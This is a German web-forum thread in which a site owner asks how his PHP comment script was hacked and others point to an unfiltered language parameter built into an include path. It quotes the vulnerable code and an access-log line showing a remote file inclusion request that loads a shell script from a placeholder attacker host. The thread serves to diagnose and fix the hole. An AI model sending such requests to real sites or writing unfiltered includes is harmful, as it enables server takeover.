Shadowcrow: Remote File Include Vulnerability

Beitrag lesen

hi $name,

Und woher bekommst du $language_file? Da solltest du ansetzen.

in einem include der (fast) überall eingebunden wird:

// Are we using the default language or user's choice?
function setupLanguage() {
global $config, $user_lang, $tb_language;

$path = $_SERVER['DOCUMENT_ROOT'] . $config['talkback_path'] . 'language/';

if ($_REQUEST['language'] && $_REQUEST['language'] != $config['default_language']) {
  // visitor has selected a language
  $language_file          = $path . $_REQUEST['language'] . '.php';


>   
> Genau hier ^^^ ist z.B. ein Punkt, an dem man ansetzen muss: Die Variable language kommt von außerhalb und wird ohne zu filtern in einen Pfad eingebaut! Was gibt language denn an? Dir hilft bestimmt einer Funktionen [basename](http://de.php.net/manual/de/function.basename.php) oder [dirname](http://de.php.net/manual/de/function.dirname.php) weiter.  
  
hm, oder es gibt nur eine sprache und basta :-) aber mit basename ist es doch eleganter.  
  

> > \*schäm\* stimmt, ich habs geändert:  
> > include ("language/english.php");  
>   
> Beide? Dann kann man keine Sprache mehr selektieren? Aber wie gesagt, das obere sieht mir kritischer aus.  
  
\*lol\* das ist mir dann auch aufgefallen aber s.o.  

>   
> > > > original:  
> > > > include $config['comments\_form\_tpl'];  
> > >   
> > > Das könnte relativ "sicher" sein, wenn du $config[] selbst mit erlaubten Werten initialisierst.  
> >   
> > ist per config.php mit werten initalisiert, aber trotzdem wurde das als sicherheitslücke moniert.  
>   
> Wurde auch gesagt, wie dort Werte überschrieben werden könnten?  
  
so oder so ähnlich (weiß die uhrzeit leider nicht mehr auf die sekunde genau) hats meinen account erwischt:  
  
196\.217.75.218 - - [25/Nov/2007:15:52:05 +0100] "GET /book\_1/comments-display-tpl.php?language\_file=http://www.böse.com/ecshop/style.txt?act=img&img=small\_dir HTTP/1.1" 200 164 "http://www.example.com/book\_1/comments-display-tpl.php?language\_file=http://www.böse.com/ecshop/style.txt?act=ls&d=/srv/www/htdocs/web2007/html/book\_1/&sort=0a" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"  
  
und schon hatte ich PHP/C99Shell-A auf meinem account, das ganze sieht dann so aus:  
  
<reels4actors.de/locus7shell.htm> - das ist eine html datei ohne schadcode (enthält zwar eine javascript, das ist aber nur checkboxen selektiert/deselektiert)  
  
gruss  
shadow

-- 
If there's anything more important than my ego around, I want it caught and shot, now.